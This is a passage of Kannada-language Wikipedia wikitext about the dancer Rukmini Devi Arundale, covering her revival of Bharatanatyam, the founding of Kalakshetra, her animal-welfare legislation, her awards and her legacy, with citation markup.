|archive-date=2012-07-16 |archive-url=https://web.archive.org/web/20120716193450/http://library.thinkquest.org/04oct/01260/rda.html |url-status=dead }}</ref> ===ಪುನರುಜ್ಜೀವಕಿ=== ಮದ್ರಾಸ್ ಸಂಗೀತ ಅಕಾಡೆಮಿಯ 1933ರಲ್ಲಿನ ವಾರ್ಷಿಕ ಸಮ್ಮೇಳನದಲ್ಲಿ ಮೊಟ್ಟ ಮೊದಲ ಬಾರಿಗೆ ''ಸಾಧಿರ್'' ಶೈಲಿಯಲ್ಲಿ ಮಾಡಿದ ನೃತ್ಯ ಪ್ರದರ್ಶನವನ್ನು ಅವರು ವೀಕ್ಷಿಸಿದರು.<ref>[http://www.katinkahesselink.net/his/kalakshetra.html ಕಲಾಕ್ಷೇತ್ರ ಅಂಡ್ ರುಕ್ಮಿಣಿ ಅಟ್ katinkahesselink.net]</ref> *ಅನಂತರ ಅವರು 'ಮೈಲಾಪೊರೆ ಗೌರಿ ಅಮ್ಮ' ನವರಿಂದ ಮತ್ತು ಅಂತಿಮವಾಗಿ ಇ.ಕೃಷ್ಣ ಐಯ್ಯರ್<ref>[http://www.sawnet.org/whoswho/?arundale+rukmini+devi ಪ್ರೊಫೈಲ್ ಅಟ್ sawnet.org]</ref> ರವರ ಸಹಾಯದೊಂದಿಗೆ 'ಪಂಡನಲೂರ್ ಮೀನಾಕ್ಷಿ ಸುದರಂ ಪಿಳ್ಳೈ'ಯವರಿಂದ ನೃತ್ಯಾಭ್ಯಾಸ ಮಾಡಿದರು. ರುಕ್ಮಿಣಿ ದೇವಿ 1935 ರಲ್ಲಿ ಬ್ರಹ್ಮವಿದ್ಯಾವಾದ ಸಮಾಜದ 'ವಜ್ರಮಹೋತ್ಸವ ಸಮ್ಮೇಳನದಲ್ಲಿ ತಮ್ಮ ಪ್ರಥಮ ಪ್ರದರ್ಶನ ನೀಡಿದರು.<ref>[http://www.narthaki.com/info/profiles/profil44.html ಪ್ರೊಫೈಲ್ ಅಟ್ nartaki.com]</ref> *ಅವರು ತಮ್ಮ ಪತಿಯೊಂದಿಗೆ 1936 ರ ಜನವರಿಯಲ್ಲಿ,<ref>[http://www.chennaibest.com/discoverchennai/personalities/dance1.asp ಪರ್ಸನಾಲಟೀಸ್ ಅಟ್ chennaibest.com]</ref> [[ಕಲಾಕ್ಷೇತ್ರ]]ವನ್ನು ಸ್ಥಾಪಿಸಿದರು. ಇದು ನೃತ್ಯ ಮತ್ತು ಸಂಗೀತದ ಅಕಾಡೆಮಿಯಾಗಿದ್ದು, ಇದನ್ನು [[ಚೆನ್ನೈ]]ನ ಆಡ್ಯರ್ ನಲ್ಲಿ ಪ್ರಾಚೀನ ಭಾರತದ ಗುರುಕುಲ ಪದ್ದತಿಯಂತೆ ಸ್ಥಾಪಿಸಲಾಗಿದೆ. ಇಂದು ಈ ಅಕಾಡೆಮಿ ಕಲಾಕ್ಷೇತ್ರ ಸಂಸ್ಥೆಯಡಿಯಲ್ಲಿ ನಡೆವ ಸ್ವತಂತ್ರ ವಿಶ್ವವಿದ್ಯಾನಿಲಯವಾಗಿದೆ , ಇದರ ಹೊಸ ೧೦೦ ಎಕರೆ ಕೇಂದ್ರ [[ಚೆನ್ನೈ]] ನ ತಿರುವಣ್ಮೈಯುರ್ ನಲ್ಲಿರುವ ಕ್ಯಾಂಪಸ್(ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಆವರಣ)ದಲ್ಲಿದೆ. ಇಲ್ಲಿಗೆ ಇದನ್ನು 1962ರಲ್ಲಿ ವರ್ಗಾಯಿಸಲಾಯಿತು.<ref>[http://www.livemint.com/2007/05/18000359/Poetry-in-motion.html livemint.com, 2007 ಮೇ 18]</ref> *ಇವರ ಪ್ರಮುಖ ವಿದ್ಯಾರ್ಥಿಗಳಲ್ಲಿ : ರಾಧಾ ಬರ್ನಿಯರ್, ಶಾರದ ಹಾಫ್ ಮ್ಯಾನ್, [[ಕಮಲಾ ದೇವಿ ಚಟ್ಟೋಪಾಧ್ಯಾಯ]], ಸಂಯುಕ್ತಾ ಪಾಣಿಗ್ರಹಿ, ಸಿ.ವಿ. ಚಂದ್ರಶೇಖರ್, [[ಯಾಮಿನಿ ಕೃಷ್ಣಮೂರ್ತಿ]] ಮತ್ತು ಲೀಲಾ ಸ್ಯಾಮ್ ಸನ್.ಸೇರಿದ್ದಾರೆ.<ref>{{Cite web |url=http://www.hinduismtoday.com/archives/1993/11/1993-11-02.shtml |title=ನೋಟೆಡ್ ಸ್ಟೂಡೆಂಟ್ ಆಫ್ ಕಲಾಕ್ಷೇತ್ರ |access-date=2011-01-21 |archive-date=2008-03-12 |archive-url=https://web.archive.org/web/20080312002731/http://www.hinduismtoday.com/archives/1993/11/1993-11-02.shtml |url-status=dead }}</ref> *ಮೂಲತಃ ''ಸಾಧಿರ್'' ಎಂದು ಕರೆಯಲ್ಪಡುವ ಭರತನಾಟ್ಯದ ರೂಪವಾದ [[ಭಾರತೀಯ ಶಾಸ್ತ್ರೀಯ ನೃತ್ಯ]] ಪ್ರಸ್ತುತದಲ್ಲಿ ಇ.ಕೃಷ್ಣ ಐಯ್ಯರ್ ಮತ್ತು ರುಕ್ಮಿಣಿ ದೇವಿ ಅರುಂಡೇಲ್ ರವರಿಗೆ ಗೌರವ ದ್ಯೋತಕವಾದ ಋಣಿ ಅರ್ಪಿತವಾಗುತ್ತದೆ,<ref>[http:// bharatanatyam.co.uk/bharatanatyam.html ಭರತನಾಟ್ಯಂ]</ref> *ಇವರು [[ಭರತನಾಟ್ಯ]]ದ ಪಂಡನಲೂರು ಶೈಲಿಯನ್ನು ಮಾರ್ಪಡಿಸುವಲ್ಲಿ ಸಫಲರಾದರು.ಅಲ್ಲದೇ ಅದನ್ನು ಜಾಗತಿಕವಾಗಿ ಆಕರ್ಷಣೆಗೆ ತರುವಲ್ಲಿ ಹಾಗು ಬಾಹ್ಯ ಶೃಂಗಾರ ಮತ್ತು ನೃತ್ಯದಿಂದ ಕಾಮ ಪ್ರಚೋದಕ ಅಂಶಗಳನ್ನು ತೆಗೆದುಹಾಕುವಲ್ಲಿ ಮಹತ್ವದ ಕಾರ್ಯನಿರ್ವಹಿಸಿದರು. ಇವುಗಳು ಹಿಂದೆ ಆಗಿನ ದೇವದಾಸಿ ಸಂಘಟನೆಗಳ ಆಸ್ತಿಯಾಗಿದ್ದವು. ಇಲ್ಲಿಂದ ಇದನ್ನು ಶುದ್ಧ ಕಲೆ ರೂಪಕ್ಕಿರುವ ಸ್ಥಾನಮಾನದ ಮಟ್ಟಕ್ಕೆ ತರಲಾಯಿತು.<ref>[http://www.indembassyathens.gr/Culture/dance/BNatyam.htm ಭರತನಾಟ್ಯ ಅಟ್ indeembassyathens.gr]</ref> *ಅನಂತರ ಪೀಟಿಲಿನಂತಹ ವಾದ್ಯಗಳನ್ನು<ref>{{Cite web |url=http://au.encarta.msn.com/encyclopedia_781538563/Arundale_Rukmini_Devi.html |title=ರುಕ್ಮಿಣಿ ದೇವಿ ಅಟ್ ಎನ್ಕಾರ್ಟ |access-date=2011-01-21 |archive-date=2009-11-01 |archive-url=https://www.webcitation.org/5kx5BsfLd?url=http://au.encarta.msn.com/encyclopedia_781538563/Arundale_Rukmini_Devi.html |url-status=dead }}</ref> ಕಲಾತ್ಮಕ ವೇದಿಕೆಯಲ್ಲಿ ಬೆಳಕಿಗೆ ತಂದರು. ಅಲ್ಲದೇ ಬೆಳಕಿನ ವಿನ್ಯಾಸದ ಅಂಶಗಳನ್ನು ಮತ್ತು ಹೊಸ ಉಡುಪುಗಳನ್ನು, ಹಾಗು ದೇವಸ್ಥಾನದ ಶಿಲ್ಪಾಕೃತಿಗಳಿಂದ ಸ್ಪೂರ್ತಿಗೊಂಡ ಆಭರಣಗಳನ್ನು<ref>{{Cite web |url=http://www.hinduonnet.com/thehindu/mp/2003/01/27/stories/2003012700070300.htm |title=ದಿ ಹಿಂದೂ, 2003 ಜನವರಿ 27 |access-date=2011-01-21 |archive-date=2008-12-16 |archive-url=https://web.archive.org/web/20081216084110/http://www.hinduonnet.com/thehindu/mp/2003/01/27/stories/2003012700070300.htm |url-status=dead }}</ref> ಪರಿಚಯಿಸುವ ಮೂಲಕ ನೃತ್ಯದ ಸ್ವರೂಪವನ್ನು ಬದಲಾಯಿಸಿದರು. ಅವರ ನೃತ್ಯ ನಾಟಕಗಳ ನಿರ್ಮಾಣಗಳಿಗಾಗಿ ರುಕ್ಮಿಣಿಯವರು, ಅವರ ಶಿಕ್ಷಕಿಯಾಗಿದ್ದಾಗಲೇ ಅನೇಕ ಕಲೆಗಳು ಮತ್ತು ಶಾಸ್ತ್ರೀಯ ನೃತ್ಯದಲ್ಲಿ ಗುರುತಿಸಿಕೊಂಡಿರುವ ಗುರುಗಳನ್ನು ಭೇಟಿಮಾಡಿದರು. *ರುಕ್ಮಿಣಿದೇವಿ ಸ್ಪೂರ್ತಿಗಾಗಿ ಪ್ರಸಿದ್ಧ ವಿದ್ವಾಂಸರನ್ನು ಹಾಗು ಸಹಯೋಗಕ್ಕಾಗಿ ಪ್ರಸಿದ್ಧ ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತಗಾರರು ಮತ್ತು ಕಲಾವಿದರನ್ನು ಭೇಟಿಮಾಡಿದರು. ಇದರ ಫಲಿತಾಂಶವಾಗಿ [[ವಾಲ್ಮೀಕಿ|ವಾಲ್ಮಿಕಿ]]ಯ [[ರಾಮಾಯಣ]] ಮತ್ತು ಜಯದೇವರ ಗೀತ ಗೋವಿಂದ ದಂತಹ ಭಾರತದ ಮಹಾಕಾವ್ಯಗಳನ್ನು ಆಧರಿಸಿ ಮೊದಲ ನೃತ್ಯ ನಾಟಕಗಳು ಹೊರಬಂದವು.<ref>{{Cite web |url=http://www.hinduonnet.com/thehindu/mag/2003/03/16/stories/2003031600400500.htm |title=ದಿ ಹಿಂದೂ, 2003 ಮಾರ್ಚ್ 16 |access-date=2011-01-21 |archive-date=2008-12-16 |archive-url=https://web.archive.org/web/20081216084105/http://www.hinduonnet.com/thehindu/mag/2003/03/16/stories/2003031600400500.htm |url-status=dead }}</ref> *ಪ್ರಸಿದ್ಧ 'ಸೀತಾ ಸ್ವಯಂವರ', 'ಶ್ರೀ ರಾಮ ವನಾಗಮನಮ್', 'ಪಾದುಕ ಪಟ್ಟಾಭಿಷೇಕಮ್' ಮತ್ತು 'ಶಬರಿ ಮೋಕ್ಷಮ್' ನಂತಹ ನೃತ್ಯ ನಾಟಕಗಳೊಂದಿಗೆ ಆರಂಭಿಸಿ, ಅನಂತರ 'ಕುಟ್ರಾಲ ಕುರುವಂಜಿ', 'ರಾಮಾಯಣ', 'ಕುಮಾರ ಸಂಭವ', 'ಗೀತ ಗೋವಿಂದಮ್' ಮತ್ತು 'ಉಷಾ ಪರಿಣಯಮ್' ಎಂಬವುಗಳನ್ನು ಮಾಡಿದರು.<ref>[http://www.rediff.com/news/2004/feb/27spec1.htm ದಿ ರೆಡಿಫ್, 2004 ಫೆಬ್ರವರಿ 27]</ref> *ಡಾ. ಜಾರ್ಜ್ ಅರುಂಡೇಲ್ 'ಬೆಸೆಂಟ್ ಬ್ರಹ್ಮವಿದ್ಯಾವಾದ ಪ್ರೌಢ ಶಾಲೆ'ಯಲ್ಲಿ ಅಧ್ಯಯನಗಳನ್ನು ಪ್ರಾರಂಭಿಸಲು ಡಾಕ್ಟರ್. ಮರಿಯಾ ಮಾಂಟೆಸ್ಸರಿಯವರನ್ನು 1939 ರಲ್ಲಿ ಆಹ್ವಾನಿಸಿದಾಗ ,ಮಾಂಟೆಸ್ಸರಿ ಪದ್ಧತಿ ಆಧರಿತ ಶಾಲೆಗಳನ್ನು ಭಾರತದಲ್ಲಿ ಮೊದಲ ಬಾರಿಗೆ ಪ್ರಾರಂಭಿಸ ಲಾಯಿತು,<ref>[http://www.whereincity.com/india/great-indians/women/rukmini-devi.php ಗ್ರೇಟ್ ಇಂಡಿಯನ್ ಅಟ್ whereincity.com]</ref> *ಅಲ್ಲದೇ ಅನಂತರ ಕೂಡ 'ಬೆಸೆಂಟ್ ಅರುಂಡೇಲ್ ಹಿರಿಯರ ಪ್ರೌಢಶಾಲೆ',ಲಲಿತ ಕಲೆಗಳ ಕಾಲೇಜು, ಬೆಸೆಂಟ್ ಬ್ರಹ್ಮವಿದ್ಯಾವಾದ ಪ್ರೌಢ ಶಾಲೆ, ಮಕ್ಕಳಿಗಾಗಿ ಮರಿಯಾ ಮಾಂಟೆಸ್ಸರಿ ಶಾಲೆ, ಕರಕುಶಲ ಶಿಕ್ಷಣ ಮತ್ತು ಸಂಶೋಧನ ಕೇಂದ್ರ ಹಾಗು ಕಲಾಕ್ಷೇತ್ರದ ಕ್ಯಾಂಪಸ್ ನೊಳಗೆ ಯು.ವಿ.ಸ್ವಾಮಿನಾಥ ಐಯ್ಯರ್ ಗ್ರಂಥಾಲಯ ಸ್ಥಾಪಿಸಲಾಯಿತು. ===ನಂತರದ ವರ್ಷಗಳು=== *ರುಕ್ಮಿಣಿದೇವಿ, ಭಾರತದ ಸಂಸತ್ತಿನ ರಾಜ್ಯಗಳ ಸಮಿತಿಯ ಸದಸ್ಯರಾಗಿ ನಾಮಕರಣಗೊಂಡರು ಹಾಗು 1952 ರ ಏಪ್ರಿಲ್ ನಲ್ಲಿ [[ರಾಜ್ಯಸಭೆ|ರಾಜ್ಯ ಸಭೆ]]ಗೆ, 1956 ರಲ್ಲಿ ಮರುನಾಮಕರಣಗೊಂಡರು.<ref>[http://www.iloveindia.com/indian-heroes/rukmini-devi-arundale.html ಇಂಡಿಯನ್ ಹೀರೋಸ್ ಆಫ್ ಐ ಲವ್ ಇಂಡಿಯಾ]</ref> *ಪ್ರಾಣಿಗಳ ಸಂರಕ್ಷಣೆಯ ಬಗ್ಗೆ ತೀವ್ರ ಆಸಕ್ತಿ ಹೊಂದಿದ್ದ ಅವರು, ಅನೇಕ ಲೋಕೋಪಯೋಗಿ ಸಂಸ್ಥೆಗಳೊಂದಿಗೆ ತಮ್ಮ ಒಡನಾಟವನ್ನಿಟ್ಟುಕೊಂಡಿದ್ದರು. ಅಲ್ಲದೇ ರಾಜ್ಯಸಭೆಯ ಸದಸ್ಯರಾಗಿ 'ಪ್ರಾಣಿಗಳ ಮೇಲೆ ಕ್ರೌರ್ಯ ಪ್ರತಿಬಂಧಕ ಕಾಯಿದೆ(1960)' ಯನ್ನು ಜಾರಿಗೆ ತರಲು ಮತ್ತು ಅವರ ಅಧ್ಯಕ್ಷತೆಯಲ್ಲಿ ಭಾರತದ ಪ್ರಾಣಿಗಳ ಸಂರಕ್ಷಣಾ ಮಂಡಳಿಯನ್ನು 1962ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲು ಕಾರಣರಾದರು. ಅಲ್ಲದೇ 1986 ರಲ್ಲಿ ಅವರು ನಿಧನಹೊಂದುವವರೆಗೂ ಇದರ ಅಧ್ಯಕ್ಷರಾಗಿದ್ದರು. *ಅವರು ಕಟ್ಟುನಿಟ್ಟಿನ [[ಸಸ್ಯಹಾರಿ]]ಯಾಗಿದ್ದು, ರಾಷ್ಟ್ರದಲ್ಲಿ ಸಸ್ಯಾಹಾರ ಅನುಷ್ಠಾನವನ್ನು ಪ್ರೋತ್ಸಾಹಿಸಲು ಬಹಳಷ್ಟು ಶ್ರಮಿಸಿದರು. ಇವರು 1955 ರಿಂದ 1986 ರ ವರೆಗೆ 31 ವರ್ಷಗಳ ಕಾಲ ಅಂತರರಾಷ್ಟ್ರೀಯ ಸಸ್ಯಹಾರಿಗಳ ಒಕ್ಕೂಟದ ಉಪಾಧ್ಯಕ್ಷರಾಗಿದ್ದರು.<ref>[http: //www.ivu.org/members/council/rukmini-devi-arundale.html ಪ್ರೊಫೈಲ್ ಅಟ್ ಇಂಟರ್ ನ್ಯಾಷನಲ್ ವೆಜಿಟೇರಿಯನ್ ಯೂನಿಯನ್ (IVU)]</ref> *ಆಗ [[ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ]] ಅವರು [[ಭಾರತದ ಅಧ್ಯಕ್ಷರು|ಭಾರತದ ರಾಷ್ಟ್ರಪತಿ]] ಸ್ಥಾನಕ್ಕೆ ಇವರ ಹೆಸರನ್ನು 1977 ರಲ್ಲಿ ಸೂಚಿಸಿದ್ದರು, ಆದರೆ ರುಕ್ಮಿಣಿ ದೇವಿ ಅದನ್ನು ನಿರಾಕರಿಸಿದರು[.<ref>[http://www.tamilnation. org/ hundredtamils/arundale.htm 100 ತಮಿಳ್ಸ್]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ರುಕ್ಮಿಣಿ ದೇವಿ ಅರುಂಡೇಲ್ ಚೆನ್ನೈನಲ್ಲಿ 1986 ರ ಫೆಬ್ರವರಿ 24 ರಂದು ನಿಧನರಾದರು. *ಜವಳಿ ಕ್ಷೇತ್ರದಲ್ಲಿನ ಬಟ್ಟೆ ಮೇಲಿನ ಮುದ್ರಣದ ಭಾರತೀಯ ಪ್ರಾಚೀನ ಕರ ಕುಶಲತೆಯ ಪುನರುಜ್ಜೀವನಕ್ಕಾಗಿ 1978 ರಲ್ಲಿ ಕಲಾಕ್ಷೇತ್ರದಲ್ಲಿ 'ಕಲಂಕರಿ ಕೇಂದ್ರ'("ಕುಸರಿ ಕಲಾ ಕುಶಲತೆ)ವನ್ನು ಪ್ರಾರಂಭಿಸಿದರು.<ref>{{Cite web |url=http://www.hinduismtoday.com/archives/1993/11/1993-11-02.shtml |title=1993, ನವೆಂಬರ್ hinduismtoday.com |access-date=2011-01-21 |archive-date=2008-03-12 |archive-url=https://web.archive.org/web/20080312002731/http://www.hinduismtoday.com/archives/1993/11/1993-11-02.shtml |url-status=dead }}</ref> ==ಪರಂಪರೆ== *ಭಾರತೀಯ ಸಂಸತ್ತಿನ ಒಂದು ಕಾಯಿದೆಯು 1994 ರ ಜನವರಿಯಲ್ಲಿ, ಕಲಾಕ್ಷೇತ್ರ ಪ್ರತಿಷ್ಠಾನವನ್ನು'ರಾಷ್ಟ್ರೀಯ ಮಹತ್ವದ ಸಂಸ್ಥೆ' ಎಂದು ಗುರುತಿಸಿತು.<ref>[http://www.kalakshetra.in/act.pdf ಕಲಾಕ್ಷೇತ್ರ ಫೌಂಡೇಷನ್ ಆಕ್ಟ್ 1993] ಮಿನಿಸ್ಟ್ರಿ ಆಫ್ ಲಾ ಅಂಡ್ ಜಸ್ಟೀಸ್.</ref><ref>[http://www.chennaibest.com/discoverchennai/personalities/dance1.asp chennaibest.com]</ref> *ಉಪನ್ಯಾಸಕರು, ಭೋಧನೆಗಳು ಮತ್ತು ಉತ್ಸವಗಳನ್ನು ಒಳಗೊಂಡ ವರ್ಷದುದ್ದಕ್ಕೂ ನಡೆದ ಸಮಾರಂಭಗಳ ಮೂಲಕ 2004 ರ ಫೆಬ್ರವರಿ 29 ರಂದು ಅವರ 100 ನೇ ವರ್ಷದ ಹುಟ್ಟಿದ ಹಬ್ಬವನ್ನು ಕಲಾಕ್ಷೇತ್ರದಲ್ಲಿ ಮತ್ತು ವಿಶ್ವದ ಅನೇಕ ಭಾಗಗಳಲ್ಲಿ ಆಚರಿಸಲಾಯಿತು.<ref>{{cite news |title=Another centenary celebration |url=http://www.hinduonnet.com/thehindu/mp/2003/01/27/stories/2003012700070300.htm |publisher=[[ದಿ ಹಿಂದೂ]] |date=Jan 27, 2003 |access-date=ಜನವರಿ 21, 2011 |archive-date=ಡಿಸೆಂಬರ್ 16, 2008 |archive-url=https://web.archive.org/web/20081216084110/http://www.hinduonnet.com/thehindu/mp/2003/01/27/stories/2003012700070300.htm |url-status=dead }}</ref> *ಅಂದಿನ ದಿನದಂದು ಕಲಾಕ್ಷೇತ್ರದ ಆವರಣದಲ್ಲಿ ವಿಶೇಷ ಸಮಾರಂಭ ನಡೆಸಲಾಯಿತು. ಇದಕ್ಕಾಗಿ ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿಗಳು ಭಾರತದಿಂದ ಮತ್ತು ಹೊರದೇಶದಿಂದ ಬಂದಿದ್ದರು. ಅಲ್ಲದೇ ಅಂದಿನ ಆಚರಣೆಯನ್ನು ಸಂಗೀತ ಮತ್ತು ನೃತ್ಯ ಪ್ರದರ್ಶನದ ದಿನವನ್ನಾಗಿಸಿದ್ದರು.<ref name="tr">{{cite news|url=http://www.hinduonnet.com/thehindu/mp/2004/03/04/stories/2004030400180100.htm|title=A legend lives on... It was time to pay tribute to Rukmini Devi Arundale, the czarina of dance.|date=Mar 04, 2004|work=The Hindu|access-date=ಜನವರಿ 21, 2011|archive-date=ಮೇ 8, 2005|archive-url=https://web.archive.org/web/20050508182808/http://www.hinduonnet.com/thehindu/mp/2004/03/04/stories/2004030400180100.htm|url-status=dead}}</ref> *ಅಲ್ಲದೇ ಫೆಬ್ರವರಿ 29 ರಂದು ನವ ದೆಹಲಿಯ ಲಲಿತ ಕಲಾ ಗ್ಯಾಲರಿಯಲ್ಲಿ ಅವರ ಜೀವಮಾನದ ಮೇಲೆ ಛಾಯಾಚಿತ್ರ ಪ್ರದರ್ಶನವನ್ನು ತೆರೆಯಲಾಯಿತು. ಅಷ್ಟೇ ಅಲ್ಲದೇ ಅದೇ ದಿನದಂದು ಅಧ್ಯಕ್ಷರಾದ ಏ.ಪಿ.ಜೆ. ಅಬ್ದುಲ್ ಕಲಾಂರವರು, ಡಾ. ಸುನಿಲ್ ಕೋಥಾರಿಯವರು ಬರೆದು, ಸಂಕಲಿಸಿದ ಹಾಗು ಮಾಜಿ ಅಧ್ಯಕ್ಷರಾದ ಆರ್. ವೆಂಕಟರಾಮನ್ ರು ಬರೆದಿರುವ ಪೀಠಿಕೆಯನ್ನು ಒಳಗೊಂಡ ರುಕ್ಮಿಣಿದೇವಿಯವರ ಛಾಯಾಚಿತ್ರ-ಜೀವನವಚರಿತ್ರೆಯನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿದರು.<ref>{{cite news |title=Her spirit still reigns |url=http://www.hinduonnet.com/thehindu/mag/2004/02/22/stories/2004022200380500.htm |publisher=[[ದಿ ಹಿಂದೂ]] |date=Feb 22, 2004 |access-date=ಜನವರಿ 21, 2011 |archive-date=ಜನವರಿ 3, 2013 |archive-url=https://archive.today/20130103085459/http://www.hinduonnet.com/thehindu/mag/2004/02/22/stories/2004022200380500.htm |url-status=dead }}</ref><ref>{{cite news|title= Time to celebrate|url= http://www.hindu.com/thehindu/mp/2003/02/27/stories/2003022700330100.htm|publisher= [[ದಿ ಹಿಂದೂ]]|date= Feb 27, 2003|access-date= ಜನವರಿ 21, 2011|archive-date= ಆಗಸ್ಟ್ 29, 2004|archive-url= https://web.archive.org/web/20040829172954/http://www.hindu.com/thehindu/mp/2003/02/27/stories/2003022700330100.htm|url-status= dead}}</ref><ref>[http://narthaki.com/info/reviews/rev158.html ಸೆಂಚ್ಯುರಿ ಸೆಲೆಬ್ರೇಷನ್ಸ್] nartaki.com</ref> ==ಪ್ರಶಸ್ತಿಗಳು ಮತ್ತು ಗೌರವಗಳು== * [[ಪದ್ಮಭೂಷಣ|ಪದ್ಮ ಭೂಷಣ]](1956) * [[ಸಂಗೀತ ನಾಟಕ ಅಕಾಡೆಮಿ ಪ್ರಶಸ್ತಿ]] (1957) * ವಿಶ್ವ ಭಾರತಿ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದಿಂದ ದೇಸಿಕೋತ್ತಮ (1972), * 1967: [[ಸಂಗೀತ ನಾಟಕ ಅಕಾಡೆಮಿ ಫೆಲೋಶಿಪ್]] * ಪ್ರಾಣಿ ಮಿತ್ರ(1968), ''ಫ್ರೆಂಡ್ ಆಫ್ ಆಲ್ ಅನಿಮಲ್ಸ್'' , (ಭಾರತದ ಪ್ರಾಣಿ ಸಂರಕ್ಷಣಾ ಸಮಿತಿ) * ರಾಣಿ ವಿಕ್ಟೋರಿಯಾ ಬೆಳ್ಳಿ ಪದಕ, ಪ್ರಾಣಿಗಳ ಮೇಲಿನ ಕ್ರೌರ್ಯ ಪ್ರತಿಬಂಧಕ್ಕಾಗಿ ರಾಯಲ್ ಸೊಸೈಟಿ, [[ಲಂಡನ್]] * [[ಕಾಳಿದಾಸ್ ಸಮ್ಮಾನ್|ಕಾಳಿದಾಸ ಸಮ್ಮಾನ್]] (1984), [[ಮಧ್ಯ ಪ್ರದೇಶ|ಮಧ್ಯಪ್ರದೇಶ]] ಸರ್ಕಾರ * ಹೇಗ್ ನ ಪ್ರಾಣಿ ಸಂರಕ್ಷಣಾ ವಿಶ್ವ ಒಕ್ಕೂಟದಿಂದ ಗೌರವ ಪಾತ್ರ ಪ್ರಶಸ್ತಿ ನೀಡಿ ಗೌರವಿಸಲಾಯಿತು * USA ಯ ವೇನ್ ಸ್ಟೇಟ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ದಿಂದ ಗೌರವ ಡಾಕ್ಟರೇಟ್ ಪದವಿ ನೀಡಲಾಯಿತು. * ಕೌಂಟಿ ಮತ್ತು ಲಾಸ್ ಏಂಜಲ್ಸ್ ನ ನಗರದಿಂದ ಸ್ಕ್ರೋಲ್ಸ್ ಆಫ್ ಹಾನರ್ ==ಇವನ್ನೂ ನೋಡಿ== {{Theosophy}} * ಭರತನಾಟ್ಯಮ್ * ನೃತ್ಯದಲ್ಲಿ ಭಾರತೀಯ ಮಹಿಳೆಯರು ==ಉಲ್ಲೇಖಗಳು== {{Reflist}} ==ಹೆಚ್ಚಿನ ಓದಿಗಾಗಿ== * ''ಆರ್ಟ್ ಅಂಡ್ ಕಲ್ಚರ್ ಇನ್ ಇಂಡಿಯನ್ ಲೈಫ್'' . ಕೇರಳ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಮುದ್ರಣಾಲಯ, ತ್ರಿವೆಂಡ್ರಂ 1975 * ಶಾರದ, S.: ''ಕಲಾಕ್ಷೇತ್ರ-ರುಕ್ಷ್ಮಿಣಿ ದೇವಿ, ರೆಮಿನಿಸನ್ಸ್'' . ಕಲಾ ಮಂದಿರಾ ಟ್ರಸ್ಟ್, ಮದ್ರಾಸ್ 1985 *''ಇಂಡಿಯಾಸ್ 50 ಮೋಸ್ಟ್ ಇಲ್ಯೂಸ್ಟ್ರಿಯಸ್ ವುಮೆನ್'' ಇಂದ್ರಾ ಗುಪ್ತಾರವರಿಂದ ಐಕಾನ್ ಪಬ್ಲಿಕೇಷನ್ಸ್, 2003. ISBN 81-88086-19-3. * ''ಸೆಲೆಕ್ಷನ್ಸ್, ಸಮ್ ಸೆಲೆಕ್ಷನ್ ಸ್ಪೀಚಸ್ ಅಂಡ್ ರೈಟಿಂಗ್ಸ್ ಆಫ್ ರುಕ್ಮಿಣಿದೇವಿ ಅರುಂಡೇಲ್'' . ಕಲಾಕ್ಷೇತ್ರ ಫೌಂಡೇಷನ್, ಚೆನ್ನೈ 2003. * ರುಕ್ಮಿಣಿದೇವಿ ಅರುಂಡೇಲ್ : ಬರ್ತ್ ಸೆಂಚ್ಯುರಿ ವಾಲ್ಯುಮ್, ಶಾಂಕುತಲಾ ರಮಣಿಯವರಿಂದ ಸಂಪಾದಿಸಲಾಗಿದೆ. ''ಚೆನ್ನೈ, ಕಲಾಕ್ಷೇತ್ರ ಫೌಂಡೇಷನ್, 2003'' , * ಕಲಾಕ್ಷೇತ್ರ ಫೌಂಡೇಷನ್ (Hrsg.): ''ಶ್ರದ್ಧಾಂಜಲಿ, ಬ್ರೀಫ್ ಪೆನ್ ಪೋಟ್ರೇಟ್ಸ್ ಆಫ್ ಗೆಲ್ಯಾಕ್ಸಿ ಆಫ್ ಗ್ರೇಟ್ ಪೀಪಲ್ ಹೂ ಲೈಡ್ ದಿ ಫೌಂಡೇಷನ್ಸ್ ಆಫ್ ಕಲಾಕ್ಷೇತ್ರ'' . ಕಲಾಕ್ಷೇತ್ರ ಫೌಂಡೇಷನ್, ಚೆನ್ನೈ 2004 * ಪೋಟೋ ಬಯೋಗ್ರಫಿ ಆಫ್ ರುಕ್ಷ್ಮಿಣಿದೇವಿ, ಸುನಿಲ್ ಕೋಥಾರಿ. ''ಚೆನ್ನೈ, ದಿ ಕಲಾಕ್ಷೇತ್ರ ಫೌಂಡೇಷನ್, 2004'' . * ಮೆದುರಿ, ಆವಂತಿ (Hrsg.): ''ರುಕ್ಮಿಣಿದೇವಿ ಅರುಂಡೇಲ್ (1904-1986), ಅ ವಿಷನರಿ ಆರ್ಕಿಟೆಕ್ಟ್ ಆಫ್ ಇಂಡಿಯನ್ ಕಲ್ಚರ್ ಅಂಡ್ ದಿ ಫರ್ಫಾರ್ಮಿಂಗ್ ಆರ್ಟ್ಸ್'' . ಮೋತಿಲಾಲ್ ಬನಾರಸಿದಾಸ್, ದೆಹಲಿ 2005; ISBN 81-208-2740-6. *ಸ್ಯಾಮ್ ಸನ್ ಲೀಲಾ (2010). ''ರುಕ್ಮಿಣಿದೇವಿ: ಅ ಲೈಫ್ '' , ದೆಹಲಿ: ಪೆನ್ವಿನ್ ಬುಕ್ಸ್, ಭಾರತ, ISBN 0670082643 ==ಹೊರಗಿನ ಕೊಂಡಿಗಳು== * [http://www.kalakshetra.in/home.html ಅಫೀಷಿಯಲ್ ವೆಬ್ ಸೈಟ್ ಆಫ್ ಕಲಾಕ್ಷೇತ್ರ] * [http://www.kalakshetra.net/gl1.jpg ಫೋಟೋಗ್ರಾಫ್ ಆಫ್ ರುಕ್ಮಿಣಿ ದೇವಿ] {{Webarchive|url=https://web.archive.org/web/20080228184918/http://www.kalakshetra.net/gl1.jpg |date=2008-02-28 }} * [http://www.bristol.ac.uk/parip/ab_meduri.htm ಟ್ರ್ಯಾನ್ಸ್-ನ್ಯಾಷನಲ್ 